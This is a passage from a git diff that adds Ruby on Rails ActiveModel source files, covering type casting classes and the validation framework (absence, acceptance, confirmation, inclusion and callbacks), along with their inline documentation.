+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :range
+
+      private
+
+        def cast_value(value)
+          case value
+          when true then 1
+          when false then 0
+          else
+            value.to_i rescue nil
+          end
+        end
+
+        def ensure_in_range(value)
+          unless range.cover?(value)
+            raise ActiveModel::RangeError, "#{value} is out of range for #{self.class} with limit #{_limit} bytes"
+          end
+        end
+
+        def max_value
+          1 << (_limit * 8 - 1) # 8 bits per byte with one bit for sign
+        end
+
+        def min_value
+          -max_value
+        end
+
+        def _limit
+          limit || DEFAULT_LIMIT
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/registry.rb b/activemodel/lib/active_model/type/registry.rb
new file mode 100644
index 0000000000..7272d7b0c5
--- /dev/null
+++ b/activemodel/lib/active_model/type/registry.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  # :stopdoc:
+  module Type
+    class Registry
+      def initialize
+        @registrations = []
+      end
+
+      def register(type_name, klass = nil, **options, &block)
+        block ||= proc { |_, *args| klass.new(*args) }
+        registrations << registration_klass.new(type_name, block, **options)
+      end
+
+      def lookup(symbol, *args)
+        registration = find_registration(symbol, *args)
+
+        if registration
+          registration.call(self, symbol, *args)
+        else
+          raise ArgumentError, "Unknown type #{symbol.inspect}"
+        end
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :registrations
+
+      private
+
+        def registration_klass
+          Registration
+        end
+
+        def find_registration(symbol, *args)
+          registrations.find { |r| r.matches?(symbol, *args) }
+        end
+    end
+
+    class Registration
+      # Options must be taken because of https://bugs.ruby-lang.org/issues/10856
+      def initialize(name, block, **)
+        @name = name
+        @block = block
+      end
+
+      def call(_registry, *args, **kwargs)
+        if kwargs.any? # https://bugs.ruby-lang.org/issues/10856
+          block.call(*args, **kwargs)
+        else
+          block.call(*args)
+        end
+      end
+
+      def matches?(type_name, *args, **kwargs)
+        type_name == name
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :name, :block
+    end
+  end
+  # :startdoc:
+end
diff --git a/activemodel/lib/active_model/type/string.rb b/activemodel/lib/active_model/type/string.rb
new file mode 100644
index 0000000000..6ba2c2a3d2
--- /dev/null
+++ b/activemodel/lib/active_model/type/string.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require_relative "immutable_string"
+
+module ActiveModel
+  module Type
+    class String < ImmutableString # :nodoc:
+      def changed_in_place?(raw_old_value, new_value)
+        if new_value.is_a?(::String)
+          raw_old_value != new_value
+        end
+      end
+
+      private
+
+        def cast_value(value)
+          case value
+          when ::String then ::String.new(value)
+          when true then "t".freeze
+          when false then "f".freeze
+          else value.to_s
+          end
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/time.rb b/activemodel/lib/active_model/type/time.rb
new file mode 100644
index 0000000000..ad7ba0351a
--- /dev/null
+++ b/activemodel/lib/active_model/type/time.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    class Time < Value # :nodoc:
+      include Helpers::TimeValue
+      include Helpers::AcceptsMultiparameterTime.new(
+        defaults: { 1 => 1970, 2 => 1, 3 => 1, 4 => 0, 5 => 0 }
+      )
+
+      def type
+        :time
+      end
+
+      def user_input_in_time_zone(value)
+        return unless value.present?
+
+        case value
+        when ::String
+          value = "2000-01-01 #{value}"
+        when ::Time
+          value = value.change(year: 2000, day: 1, month: 1)
+        end
+
+        super(value)
+      end
+
+      private
+
+        def cast_value(value)
+          return value unless value.is_a?(::String)
+          return if value.empty?
+
+          if value.start_with?("2000-01-01")
+            dummy_time_value = value
+          else
+            dummy_time_value = "2000-01-01 #{value}"
+          end
+
+          fast_string_to_time(dummy_time_value) || begin
+            time_hash = ::Date._parse(dummy_time_value)
+            return if time_hash[:hour].nil?
+            new_time(*time_hash.values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset))
+          end
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/type/value.rb b/activemodel/lib/active_model/type/value.rb
new file mode 100644
index 0000000000..a8ea6a2c22
--- /dev/null
+++ b/activemodel/lib/active_model/type/value.rb
@@ -0,0 +1,122 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Type
+    class Value
+      attr_reader :precision, :scale, :limit
+
+      def initialize(precision: nil, limit: nil, scale: nil)
+        @precision = precision
+        @scale = scale
+        @limit = limit
+      end
+
+      def type # :nodoc:
+      end
+
+      # Converts a value from database input to the appropriate ruby type. The
+      # return value of this method will be returned from
+      # ActiveRecord::AttributeMethods::Read#read_attribute. The default
+      # implementation just calls Value#cast.
+      #
+      # +value+ The raw input, as provided from the database.
+      def deserialize(value)
+        cast(value)
+      end
+
+      # Type casts a value from user input (e.g. from a setter). This value may
+      # be a string from the form builder, or a ruby object passed to a setter.
+      # There is currently no way to differentiate between which source it came
+      # from.
+      #
+      # The return value of this method will be returned from
+      # ActiveRecord::AttributeMethods::Read#read_attribute. See also:
+      # Value#cast_value.
+      #
+      # +value+ The raw input, as provided to the attribute setter.
+      def cast(value)
+        cast_value(value) unless value.nil?
+      end
+
+      # Casts a value from the ruby type to a type that the database knows how
+      # to understand. The returned value from this method should be a
+      # +String+, +Numeric+, +Date+, +Time+, +Symbol+, +true+, +false+, or
+      # +nil+.
+      def serialize(value)
+        value
+      end
+
+      # Type casts a value for schema dumping. This method is private, as we are
+      # hoping to remove it entirely.
+      def type_cast_for_schema(value) # :nodoc:
+        value.inspect
+      end
+
+      # These predicates are not documented, as I need to look further into
+      # their use, and see if they can be removed entirely.
+      def binary? # :nodoc:
+        false
+      end
+
+      # Determines whether a value has changed for dirty checking. +old_value+
+      # and +new_value+ will always be type-cast. Types should not need to
+      # override this method.
+      def changed?(old_value, new_value, _new_value_before_type_cast)
+        old_value != new_value
+      end
+
+      # Determines whether the mutable value has been modified since it was
+      # read. Returns +false+ by default. If your type returns an object
+      # which could be mutated, you should override this method. You will need
+      # to either:
+      #
+      # - pass +new_value+ to Value#serialize and compare it to
+      #   +raw_old_value+
+      #
+      # or
+      #
+      # - pass +raw_old_value+ to Value#deserialize and compare it to
+      #   +new_value+
+      #
+      # +raw_old_value+ The original value, before being passed to
+      # +deserialize+.
+      #
+      # +new_value+ The current value, after type casting.
+      def changed_in_place?(raw_old_value, new_value)
+        false
+      end
+
+      def value_constructed_by_mass_assignment?(_value) # :nodoc:
+        false
+      end
+
+      def map(value) # :nodoc:
+        yield value
+      end
+
+      def ==(other)
+        self.class == other.class &&
+          precision == other.precision &&
+          scale == other.scale &&
+          limit == other.limit
+      end
+      alias eql? ==
+
+      def hash
+        [self.class, precision, scale, limit].hash
+      end
+
+      def assert_valid_value(*)
+      end
+
+      private
+
+        # Convenience method for types which do not need separate type casting
+        # behavior for user and database inputs. Called by Value#cast for
+        # values except +nil+.
+        def cast_value(value) # :doc:
+          value
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations.rb b/activemodel/lib/active_model/validations.rb
new file mode 100644
index 0000000000..cdf11d190f
--- /dev/null
+++ b/activemodel/lib/active_model/validations.rb
@@ -0,0 +1,439 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/extract_options"
+require "active_support/core_ext/hash/keys"
+require "active_support/core_ext/hash/except"
+
+module ActiveModel
+  # == Active \Model \Validations
+  #
+  # Provides a full validation framework to your objects.
+  #
+  # A minimal implementation could be:
+  #
+  #   class Person
+  #     include ActiveModel::Validations
+  #
+  #     attr_accessor :first_name, :last_name
+  #
+  #     validates_each :first_name, :last_name do |record, attr, value|
+  #       record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+  #     end
+  #   end
+  #
+  # Which provides you with the full standard validation stack that you
+  # know from Active Record:
+  #
+  #   person = Person.new
+  #   person.valid?                   # => true
+  #   person.invalid?                 # => false
+  #
+  #   person.first_name = 'zoolander'
+  #   person.valid?                   # => false
+  #   person.invalid?                 # => true
+  #   person.errors.messages          # => {first_name:["starts with z."]}
+  #
+  # Note that <tt>ActiveModel::Validations</tt> automatically adds an +errors+
+  # method to your instances initialized with a new <tt>ActiveModel::Errors</tt>
+  # object, so there is no need for you to do this manually.
+  module Validations
+    extend ActiveSupport::Concern
+
+    included do
+      extend ActiveModel::Naming
+      extend ActiveModel::Callbacks
+      extend ActiveModel::Translation
+
+      extend  HelperMethods
+      include HelperMethods
+
+      attr_accessor :validation_context
+      private :validation_context=
+      define_callbacks :validate, scope: :name
+
+      class_attribute :_validators, instance_writer: false, default: Hash.new { |h, k| h[k] = [] }
+    end
+
+    module ClassMethods
+      # Validates each attribute against a block.
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #
+      #     attr_accessor :first_name, :last_name
+      #
+      #     validates_each :first_name, :last_name, allow_blank: true do |record, attr, value|
+      #       record.errors.add attr, 'starts with z.' if value.to_s[0] == ?z
+      #     end
+      #   end
+      #
+      # Options:
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default +nil+. You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
+      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+      # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   value.
+      def validates_each(*attr_names, &block)
+        validates_with BlockValidator, _merge_attributes(attr_names), &block
+      end
+
+      VALID_OPTIONS_FOR_VALIDATE = [:on, :if, :unless, :prepend].freeze # :nodoc:
+
+      # Adds a validation method or block to the class. This is useful when
+      # overriding the +validate+ instance method becomes too unwieldy and
+      # you're looking for more descriptive declaration of your validations.
+      #
+      # This can be done with a symbol pointing to a method:
+      #
+      #   class Comment
+      #     include ActiveModel::Validations
+      #
+      #     validate :must_be_friends
+      #
+      #     def must_be_friends
+      #       errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
+      #     end
+      #   end
+      #
+      # With a block which is passed with the current record to be validated:
+      #
+      #   class Comment
+      #     include ActiveModel::Validations
+      #
+      #     validate do |comment|
+      #       comment.must_be_friends
+      #     end
+      #
+      #     def must_be_friends
+      #       errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
+      #     end
+      #   end
+      #
+      # Or with a block where self points to the current record to be validated:
+      #
+      #   class Comment
+      #     include ActiveModel::Validations
+      #
+      #     validate do
+      #       errors.add(:base, 'Must be friends to leave a comment') unless commenter.friend_of?(commentee)
+      #     end
+      #   end
+      #
+      # Note that the return value of validation methods is not relevant.
+      # It's not possible to halt the validate callback chain.
+      #
+      # Options:
+      # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+      #   Runs in all validation contexts by default +nil+. You can pass a symbol
+      #   or an array of symbols. (e.g. <tt>on: :create</tt> or
+      #   <tt>on: :custom_validation_context</tt> or
+      #   <tt>on: [:create, :custom_validation_context]</tt>)
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine
+      #   if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
+      #   or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
+      #   proc or string should return or evaluate to a +true+ or +false+ value.
+      # * <tt>:unless</tt> - Specifies a method, proc or string to call to
+      #   determine if the validation should not occur (e.g. <tt>unless: :skip_validation</tt>,
+      #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
+      #   method, proc or string should return or evaluate to a +true+ or +false+
+      #   value.
+      #
+      # NOTE: Calling +validate+ multiple times on the same method will overwrite previous definitions.
+      #
+      def validate(*args, &block)
+        options = args.extract_options!
+
+        if args.all? { |arg| arg.is_a?(Symbol) }
+          options.each_key do |k|
+            unless VALID_OPTIONS_FOR_VALIDATE.include?(k)
+              raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{VALID_OPTIONS_FOR_VALIDATE.map(&:inspect).join(', ')}. Perhaps you meant to call `validates` instead of `validate`?")
+            end
+          end
+        end
+
+        if options.key?(:on)
+          options = options.dup
+          options[:if] = Array(options[:if])
+          options[:if].unshift ->(o) {
+            !(Array(options[:on]) & Array(o.validation_context)).empty?
+          }
+        end
+
+        args << options
+        set_callback(:validate, *args, &block)
+      end
+
+      # List all validators that are being used to validate the model using
+      # +validates_with+ method.
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #
+      #     validates_with MyValidator
+      #     validates_with OtherValidator, on: :create
+      #     validates_with StrictValidator, strict: true
+      #   end
+      #
+      #   Person.validators
+      #   # => [
+      #   #      #<MyValidator:0x007fbff403e808 @options={}>,
+      #   #      #<OtherValidator:0x007fbff403d930 @options={on: :create}>,
+      #   #      #<StrictValidator:0x007fbff3204a30 @options={strict:true}>
+      #   #    ]
+      def validators
+        _validators.values.flatten.uniq
+      end
+
+      # Clears all of the validators and validations.
+      #
+      # Note that this will clear anything that is being used to validate
+      # the model for both the +validates_with+ and +validate+ methods.
+      # It clears the validators that are created with an invocation of
+      # +validates_with+ and the callbacks that are set by an invocation
+      # of +validate+.
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #
+      #     validates_with MyValidator
+      #     validates_with OtherValidator, on: :create
+      #     validates_with StrictValidator, strict: true
+      #     validate :cannot_be_robot
+      #
+      #     def cannot_be_robot
+      #       errors.add(:base, 'A person cannot be a robot') if person_is_robot
+      #     end
+      #   end
+      #
+      #   Person.validators
+      #   # => [
+      #   #      #<MyValidator:0x007fbff403e808 @options={}>,
+      #   #      #<OtherValidator:0x007fbff403d930 @options={on: :create}>,
+      #   #      #<StrictValidator:0x007fbff3204a30 @options={strict:true}>
+      #   #    ]
+      #
+      # If one runs <tt>Person.clear_validators!</tt> and then checks to see what
+      # validators this class has, you would obtain:
+      #
+      #   Person.validators # => []
+      #
+      # Also, the callback set by <tt>validate :cannot_be_robot</tt> will be erased
+      # so that:
+      #
+      #   Person._validate_callbacks.empty?  # => true
+      #
+      def clear_validators!
+        reset_callbacks(:validate)
+        _validators.clear
+      end
+
+      # List all validators that are being used to validate a specific attribute.
+      #
+      #   class Person
+      #     include ActiveModel::Validations
+      #
+      #     attr_accessor :name , :age
+      #
+      #     validates_presence_of :name
+      #     validates_inclusion_of :age, in: 0..99
+      #   end
+      #
+      #   Person.validators_on(:name)
+      #   # => [
+      #   #       #<ActiveModel::Validations::PresenceValidator:0x007fe604914e60 @attributes=[:name], @options={}>,
+      #   #    ]
+      def validators_on(*attributes)
+        attributes.flat_map do |attribute|
+          _validators[attribute.to_sym]
+        end
+      end
+
+      # Returns +true+ if +attribute+ is an attribute method, +false+ otherwise.
+      #
+      #  class Person
+      #    include ActiveModel::Validations
+      #
+      #    attr_accessor :name
+      #  end
+      #
+      #  User.attribute_method?(:name) # => true
+      #  User.attribute_method?(:age)  # => false
+      def attribute_method?(attribute)
+        method_defined?(attribute)
+      end
+
+      # Copy validators on inheritance.
+      def inherited(base) #:nodoc:
+        dup = _validators.dup
+        base._validators = dup.each { |k, v| dup[k] = v.dup }
+        super
+      end
+    end
+
+    # Clean the +Errors+ object if instance is duped.
+    def initialize_dup(other) #:nodoc:
+      @errors = nil
+      super
+    end
+
+    # Returns the +Errors+ object that holds all information about attribute
+    # error messages.
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     attr_accessor :name
+    #     validates_presence_of :name
+    #   end
+    #
+    #   person = Person.new
+    #   person.valid? # => false
+    #   person.errors # => #<ActiveModel::Errors:0x007fe603816640 @messages={name:["can't be blank"]}>
+    def errors
+      @errors ||= Errors.new(self)
+    end
+
+    # Runs all the specified validations and returns +true+ if no errors were
+    # added otherwise +false+.
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     attr_accessor :name
+    #     validates_presence_of :name
+    #   end
+    #
+    #   person = Person.new
+    #   person.name = ''
+    #   person.valid? # => false
+    #   person.name = 'david'
+    #   person.valid? # => true
+    #
+    # Context can optionally be supplied to define which callbacks to test
+    # against (the context is defined on the validations using <tt>:on</tt>).
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     attr_accessor :name
+    #     validates_presence_of :name, on: :new
+    #   end
+    #
+    #   person = Person.new
+    #   person.valid?       # => true
+    #   person.valid?(:new) # => false
+    def valid?(context = nil)
+      current_context, self.validation_context = validation_context, context
+      errors.clear
+      run_validations!
+    ensure
+      self.validation_context = current_context
+    end
+
+    alias_method :validate, :valid?
+
+    # Performs the opposite of <tt>valid?</tt>. Returns +true+ if errors were
+    # added, +false+ otherwise.
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     attr_accessor :name
+    #     validates_presence_of :name
+    #   end
+    #
+    #   person = Person.new
+    #   person.name = ''
+    #   person.invalid? # => true
+    #   person.name = 'david'
+    #   person.invalid? # => false
+    #
+    # Context can optionally be supplied to define which callbacks to test
+    # against (the context is defined on the validations using <tt>:on</tt>).
+    #
+    #   class Person
+    #     include ActiveModel::Validations
+    #
+    #     attr_accessor :name
+    #     validates_presence_of :name, on: :new
+    #   end
+    #
+    #   person = Person.new
+    #   person.invalid?       # => false
+    #   person.invalid?(:new) # => true
+    def invalid?(context = nil)
+      !valid?(context)
+    end
+
+    # Runs all the validations within the specified context. Returns +true+ if
+    # no errors are found, raises +ValidationError+ otherwise.
+    #
+    # Validations with no <tt>:on</tt> option will run no matter the context. Validations with
+    # some <tt>:on</tt> option will only run in the specified context.
+    def validate!(context = nil)
+      valid?(context) || raise_validation_error
+    end
+
+    # Hook method defining how an attribute value should be retrieved. By default
+    # this is assumed to be an instance named after the attribute. Override this
+    # method in subclasses should you need to retrieve the value for a given
+    # attribute differently:
+    #
+    #   class MyClass
+    #     include ActiveModel::Validations
+    #
+    #     def initialize(data = {})
+    #       @data = data
+    #     end
+    #
+    #     def read_attribute_for_validation(key)
+    #       @data[key]
+    #     end
+    #   end
+    alias :read_attribute_for_validation :send
+
+  private
+
+    def run_validations!
+      _run_validate_callbacks
+      errors.empty?
+    end
+
+    def raise_validation_error # :doc:
+      raise(ValidationError.new(self))
+    end
+  end
+
+  # = Active Model ValidationError
+  #
+  # Raised by <tt>validate!</tt> when the model is invalid. Use the
+  # +model+ method to retrieve the record which did not validate.
+  #
+  #   begin
+  #     complex_operation_that_internally_calls_validate!
+  #   rescue ActiveModel::ValidationError => invalid
+  #     puts invalid.model.errors
+  #   end
+  class ValidationError < StandardError
+    attr_reader :model
+
+    def initialize(model)
+      @model = model
+      errors = @model.errors.full_messages.join(", ")
+      super(I18n.t(:"#{@model.class.i18n_scope}.errors.messages.model_invalid", errors: errors, default: :"errors.messages.model_invalid"))
+    end
+  end
+end
+
+Dir[File.expand_path("validations/*.rb", __dir__)].each { |file| require file }
diff --git a/activemodel/lib/active_model/validations/absence.rb b/activemodel/lib/active_model/validations/absence.rb
new file mode 100644
index 0000000000..385d9f27e0
--- /dev/null
+++ b/activemodel/lib/active_model/validations/absence.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Validations
+    # == \Active \Model Absence Validator
+    class AbsenceValidator < EachValidator #:nodoc:
+      def validate_each(record, attr_name, value)
+        record.errors.add(attr_name, :present, options) if value.present?
+      end
+    end
+
+    module HelperMethods
+      # Validates that the specified attributes are blank (as defined by
+      # Object#blank?). Happens by default on save.
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_absence_of :first_name
+      #   end
+      #
+      # The first_name attribute must be in the object and it must be blank.
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "must be blank").
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+      # See <tt>ActiveModel::Validations#validates</tt> for more information
+      def validates_absence_of(*attr_names)
+        validates_with AbsenceValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb
new file mode 100644
index 0000000000..f35e4dec7f
--- /dev/null
+++ b/activemodel/lib/active_model/validations/acceptance.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Validations
+    class AcceptanceValidator < EachValidator # :nodoc:
+      def initialize(options)
+        super({ allow_nil: true, accept: ["1", true] }.merge!(options))
+        setup!(options[:class])
+      end
+
+      def validate_each(record, attribute, value)
+        unless acceptable_option?(value)
+          record.errors.add(attribute, :accepted, options.except(:accept, :allow_nil))
+        end
+      end
+
+      private
+
+        def setup!(klass)
+          klass.include(LazilyDefineAttributes.new(AttributeDefinition.new(attributes)))
+        end
+
+        def acceptable_option?(value)
+          Array(options[:accept]).include?(value)
+        end
+
+        class LazilyDefineAttributes < Module
+          def initialize(attribute_definition)
+            define_method(:respond_to_missing?) do |method_name, include_private = false|
+              super(method_name, include_private) || attribute_definition.matches?(method_name)
+            end
+
+            define_method(:method_missing) do |method_name, *args, &block|
+              if attribute_definition.matches?(method_name)
+                attribute_definition.define_on(self.class)
+                send(method_name, *args, &block)
+              else
+                super(method_name, *args, &block)
+              end
+            end
+          end
+        end
+
+        class AttributeDefinition
+          def initialize(attributes)
+            @attributes = attributes.map(&:to_s)
+          end
+
+          def matches?(method_name)
+            attr_name = convert_to_reader_name(method_name)
+            attributes.include?(attr_name)
+          end
+
+          def define_on(klass)
+            attr_readers = attributes.reject { |name| klass.attribute_method?(name) }
+            attr_writers = attributes.reject { |name| klass.attribute_method?("#{name}=") }
+            klass.send(:attr_reader, *attr_readers)
+            klass.send(:attr_writer, *attr_writers)
+          end
+
+          # TODO Change this to private once we've dropped Ruby 2.2 support.
+          # Workaround for Ruby 2.2 "private attribute?" warning.
+          protected
+
+            attr_reader :attributes
+
+          private
+
+            def convert_to_reader_name(method_name)
+              method_name.to_s.chomp("=")
+            end
+        end
+    end
+
+    module HelperMethods
+      # Encapsulates the pattern of wanting to validate the acceptance of a
+      # terms of service check box (or similar agreement).
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_acceptance_of :terms_of_service
+      #     validates_acceptance_of :eula, message: 'must be abided'
+      #   end
+      #
+      # If the database column does not exist, the +terms_of_service+ attribute
+      # is entirely virtual. This check is performed only if +terms_of_service+
+      # is not +nil+ and by default on save.
+      #
+      # Configuration options:
+      # * <tt>:message</tt> - A custom error message (default is: "must be
+      #   accepted").
+      # * <tt>:accept</tt> - Specifies a value that is considered accepted.
+      #   Also accepts an array of possible values. The default value is
+      #   an array ["1", true], which makes it easy to relate to an HTML
+      #   checkbox. This should be set to, or include, +true+ if you are validating
+      #   a database column, since the attribute is typecast from "1" to +true+
+      #   before validation.
+      #
+      # There is also a list of default options supported by every validator:
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+      # See <tt>ActiveModel::Validations#validates</tt> for more information.
+      def validates_acceptance_of(*attr_names)
+        validates_with AcceptanceValidator, _merge_attributes(attr_names)
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/callbacks.rb b/activemodel/lib/active_model/validations/callbacks.rb
new file mode 100644
index 0000000000..4d0ab2a2fe
--- /dev/null
+++ b/activemodel/lib/active_model/validations/callbacks.rb
@@ -0,0 +1,116 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Validations
+    # == Active \Model \Validation \Callbacks
+    #
+    # Provides an interface for any class to have +before_validation+ and
+    # +after_validation+ callbacks.
+    #
+    # First, include ActiveModel::Validations::Callbacks from the class you are
+    # creating:
+    #
+    #   class MyModel
+    #     include ActiveModel::Validations::Callbacks
+    #
+    #     before_validation :do_stuff_before_validation
+    #     after_validation  :do_stuff_after_validation
+    #   end
+    #
+    # Like other <tt>before_*</tt> callbacks if +before_validation+ throws
+    # +:abort+ then <tt>valid?</tt> will not be called.
+    module Callbacks
+      extend ActiveSupport::Concern
+
+      included do
+        include ActiveSupport::Callbacks
+        define_callbacks :validation,
+                         skip_after_callbacks_if_terminated: true,
+                         scope: [:kind, :name]
+      end
+
+      module ClassMethods
+        # Defines a callback that will get called right before validation.
+        #
+        #   class Person
+        #     include ActiveModel::Validations
+        #     include ActiveModel::Validations::Callbacks
+        #
+        #     attr_accessor :name
+        #
+        #     validates_length_of :name, maximum: 6
+        #
+        #     before_validation :remove_whitespaces
+        #
+        #     private
+        #
+        #     def remove_whitespaces
+        #       name.strip!
+        #     end
+        #   end
+        #
+        #   person = Person.new
+        #   person.name = '  bob  '
+        #   person.valid? # => true
+        #   person.name   # => "bob"
+        def before_validation(*args, &block)
+          options = args.last
+          if options.is_a?(Hash) && options[:on]
+            options[:if] = Array(options[:if])
+            options[:on] = Array(options[:on])
+            options[:if].unshift ->(o) {
+              options[:on].include? o.validation_context
+            }
+          end
+          set_callback(:validation, :before, *args, &block)
+        end
+
+        # Defines a callback that will get called right after validation.
+        #
+        #   class Person
+        #     include ActiveModel::Validations
+        #     include ActiveModel::Validations::Callbacks
+        #
+        #     attr_accessor :name, :status
+        #
+        #     validates_presence_of :name
+        #
+        #     after_validation :set_status
+        #
+        #     private
+        #
+        #     def set_status
+        #       self.status = errors.empty?
+        #     end
+        #   end
+        #
+        #   person = Person.new
+        #   person.name = ''
+        #   person.valid? # => false
+        #   person.status # => false
+        #   person.name = 'bob'
+        #   person.valid? # => true
+        #   person.status # => true
+        def after_validation(*args, &block)
+          options = args.extract_options!
+          options[:prepend] = true
+          options[:if] = Array(options[:if])
+          if options[:on]
+            options[:on] = Array(options[:on])
+            options[:if].unshift ->(o) {
+              options[:on].include? o.validation_context
+            }
+          end
+          set_callback(:validation, :after, *(args << options), &block)
+        end
+      end
+
+    private
+
+      # Overwrite run validations to include callbacks.
+      def run_validations!
+        _run_validation_callbacks { super }
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/clusivity.rb b/activemodel/lib/active_model/validations/clusivity.rb
new file mode 100644
index 0000000000..0b9b5ce6a1
--- /dev/null
+++ b/activemodel/lib/active_model/validations/clusivity.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/range"
+
+module ActiveModel
+  module Validations
+    module Clusivity #:nodoc:
+      ERROR_MESSAGE = "An object with the method #include? or a proc, lambda or symbol is required, " \
+                      "and must be supplied as the :in (or :within) option of the configuration hash"
+
+      def check_validity!
+        unless delimiter.respond_to?(:include?) || delimiter.respond_to?(:call) || delimiter.respond_to?(:to_sym)
+          raise ArgumentError, ERROR_MESSAGE
+        end
+      end
+
+    private
+
+      def include?(record, value)
+        members = if delimiter.respond_to?(:call)
+          delimiter.call(record)
+        elsif delimiter.respond_to?(:to_sym)
+          record.send(delimiter)
+        else
+          delimiter
+        end
+
+        members.send(inclusion_method(members), value)
+      end
+
+      def delimiter
+        @delimiter ||= options[:in] || options[:within]
+      end
+
+      # In Ruby 2.2 <tt>Range#include?</tt> on non-number-or-time-ish ranges checks all
+      # possible values in the range for equality, which is slower but more accurate.
+      # <tt>Range#cover?</tt> uses the previous logic of comparing a value with the range
+      # endpoints, which is fast but is only accurate on Numeric, Time, Date,
+      # or DateTime ranges.
+      def inclusion_method(enumerable)
+        if enumerable.is_a? Range
+          case enumerable.first
+          when Numeric, Time, DateTime, Date
+            :cover?
+          else
+            :include?
+          end
+        else
+          :include?
+        end
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb
new file mode 100644
index 0000000000..0abec56b68
--- /dev/null
+++ b/activemodel/lib/active_model/validations/confirmation.rb
@@ -0,0 +1,80 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  module Validations
+    class ConfirmationValidator < EachValidator # :nodoc:
+      def initialize(options)
+        super({ case_sensitive: true }.merge!(options))
+        setup!(options[:class])
+      end
+
+      def validate_each(record, attribute, value)
+        if (confirmed = record.send("#{attribute}_confirmation"))
+          unless confirmation_value_equal?(record, attribute, value, confirmed)
+            human_attribute_name = record.class.human_attribute_name(attribute)
+            record.errors.add(:"#{attribute}_confirmation", :confirmation, options.except(:case_sensitive).merge!(attribute: human_attribute_name))
+          end
+        end
+      end
+
+      private
+        def setup!(klass)
+          klass.send(:attr_reader, *attributes.map do |attribute|
+            :"#{attribute}_confirmation" unless klass.method_defined?(:"#{attribute}_confirmation")
+          end.compact)
+
+          klass.send(:attr_writer, *attributes.map do |attribute|
+            :"#{attribute}_confirmation" unless klass.method_defined?(:"#{attribute}_confirmation=")
+          end.compact)
+        end
+
+        def confirmation_value_equal?(record, attribute, value, confirmed)
+          if !options[:case_sensitive] && value.is_a?(String)
+            value.casecmp(confirmed) == 0
+          else
+            value == confirmed
+          end
+        end
+    end
+
+    module HelperMethods
+      # Encapsulates the pattern of wanting to validate a password or email
+      # address field with a confirmation.
+      #
+      #   Model:
+      #     class Person < ActiveRecord::Base
+      #       validates_confirmation_of :user_name, :password
+      #       validates_confirmation_of :email_address,
+      #                                 message: 'should match confirmation'
+      #     end
+      #
+      #   View:
+      #     <%= password_field "person", "password" %>
+      #     <%= password_field "person", "password_confirmation" %>
+      #
